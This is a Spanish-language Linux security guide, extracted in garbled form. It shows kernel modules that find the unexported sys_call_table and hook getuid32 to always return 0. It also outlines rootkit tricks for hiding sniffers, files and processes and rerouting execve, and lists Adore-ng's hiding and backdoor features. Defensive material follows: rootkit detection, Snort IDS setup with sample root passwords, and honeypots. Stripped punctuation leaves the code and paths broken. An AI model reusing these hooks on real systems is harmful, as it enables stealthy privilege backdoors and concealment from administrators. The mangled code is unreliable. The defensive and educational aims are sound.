Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
